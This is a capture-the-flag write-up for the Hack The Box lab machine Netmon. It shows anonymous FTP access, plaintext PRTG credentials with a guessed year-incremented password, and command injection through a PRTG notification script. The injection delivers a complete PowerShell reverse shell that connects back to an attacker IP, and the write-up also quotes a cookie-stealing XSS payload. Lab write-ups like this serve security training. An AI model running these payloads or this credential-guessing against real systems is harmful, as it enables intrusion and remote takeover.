Hack The Box - Netmon
Summary
Netmon was a very simple box which highlighted issues with open FTP servers, plaintext configuration files, common password conventions, and blindly trusting custom user scripts. It showed how you could use a common monitoring service to get a foothold into an environment due to configuration and human mistakes rather than identified technical vulnerabilities.
Gaining Access
- Find FTP server with anonymous access
- Find and view user files
Elevating Privileges
- Find PRTG Configuration backup file with credentials
- Use password convention to log onto web application
- Find notification area and demo script
- Use demo script to get reverse shell
Write-up
Enumeration
Starting out I enumerated open ports.
root@mintsec:~/Desktop/machines/Netmon# nmap -sC -sV -oA netmon 10.10.10.152
Nmap scan report for 10.10.10.152
Host is up (0.35s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-04-20 10:03:54
|_ start_date: 2019-04-20 09:54:08
Find FTP server with anonymous access
This located an open FTP server which allows anonymous login, and a web server advertising itself as a Paessler PRTG Bandwidth Monitor.
Looking for an easy win I connected to the FTP server and gave it a username of ‘anonymous’.
ftp 10.10.10.152
anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
This is actually more of a suggestion than a demand and submitting nothing as the password lets you connect successfully.
Find and view user files
From here I navigated down the directory by alternating the ‘cd’ (change directory) and ‘ls’ (list directory contents)
After making it to the user.txt file, a simple ‘get’ command allowed it to be downloaded and viewed.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.35 secs (0.0917 kB/s)
Gaining Access
User.txt: dd58c redacted 255a5
The next step was to get a shell of some kind, as I’d previously enumerated this is running a PRTG Bandwidth Monitor, so I ran a check for any known exploits against “PRTG”
searchsploit "PRTG"
Okay, so we have a couple to work with, I took a copy of both to get an idea of what the exploits entailed.
searchsploit -m "44500"
searchsploit -m "34108"
cat 34108.txt
source: http://www.securityfocus.com/bid/40630/info
"PRTG Traffic Grapher is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Versions prior to PRTG Traffic Grapher 6.2.1.963/964 are vulnerable.
http://example.com:8080/login.htm?url="><script>alert(document.cookie)</script>"
A fairly common XSS vulnerability probably wasn’t going to give me what I needed, so I checked the other exploit.
cat 44500.py
This exploit had been dubbed “Jewish Napalm” and included a Medium post, so I went over to the post to see what this was all about. It was quickly was apparent that this was in fact just a DoS exploit (which many users seemed to try and subsequently crashed the system). More exploring was required.
Find PRTG Configuration backup file with credentials
Looking back at the anonymous FTP server, I went browsing to see if I could find anything of value in the web service directory.
ftp> ls
02-25-19 10:15PM <DIR> inetpub
02-25-19 10:15PM <DIR> logs
02-25-19 10:15PM <DIR> wmsvc
02-25-19 10:48PM 27195 ex190226.log
Nothing of interest, looking back at the root directory I checked for any hidden folders which revealed “Program Data”.
ls -la
Use password convention to log onto web application
Going through Program Data and associated folders found config files and backup config files for PRTG. Grepping the backup configuration file revealed a username and password.
cat "PRTG Configuration.old.bak" | grep -B 2 -A 2 pass
- prtgadmin
- PrTg@dmin2018
This username and password failed to log onto the web application identified during enumeration; however, I noted that the password was an old backup, and it used the year 2018. Changing the password to 2019 would hopefully bring the goods.
prtgadmin
PrTg@dmin2019
Winner, with that I’d got my next foothold.
Find notification area and demo script
PRTG Network Monitor contained an area for setting up “notifications”.
Curious I looked into this further and read the manual which provided some useful information on notifications. Looking at the notification area I found a PowerShell script could be called named “Demo Exe Notification - OutFile.ps1”.
After locating this example file using my FTP session I downloaded it for context.
ftp> get "Demo EXE Notification - OutFile.ps1
local: Demo EXE Notification - OutFile.ps1 remote: Demo EXE Notification - OutFile.ps1
# Demo 'Powershell' Notification for Paessler Network Monitor
# Writes current Date/Time into a File
#
# How to use it:
#
# Create a exe-notification on PRTG, select 'Demo Exe Notifcation - OutFile.ps1' as program,
# The Parametersection consists of one parameter:
#
# - Filename
#
# e.g.
#
# "C:\temp\test.txt"
#
# Note that the directory specified must exist.
# Adapt Errorhandling to your needs.
# This script comes without warranty or support.
if ($Args.Count -eq 0) {
#No Arguments. Filename must be specified.
exit 1;
}elseif ($Args.Count -eq 1){
$Path = split-path $Args[0];
if (Test-Path $Path)
{
$Text = Get-Date;
$Text | out-File $Args[0];
exit 0;
}else
{
# Directory does not exist.
exit 2;
}
}
Use demo script to get reverse shell
What was apparent from this script is that it took user input in determining where the outputted file would be placed, but failed to perform any integrity checks or filtering on the supplied user input.
Using a neat PowerShell reverse shell created as part of the Nishang framework, I was easily able to first break out of the initial script using ‘;’ and then have the PRTG Network Monitor connect back to my machine.
;$client = New-Object System.Net.Sockets.TCPClient("10.10.14.57",8009);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Before initiating this payload, I setup a netcat listener to receive the connection.
nc -nlvp 8009
I then created an alert using the payload as a supplied user input and triggered it.
Because the network monitoring service was running as Administrator, I’d now fully compromised this machine.
Root.txt: 30189 redacted a67cc
Final Notes
At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.
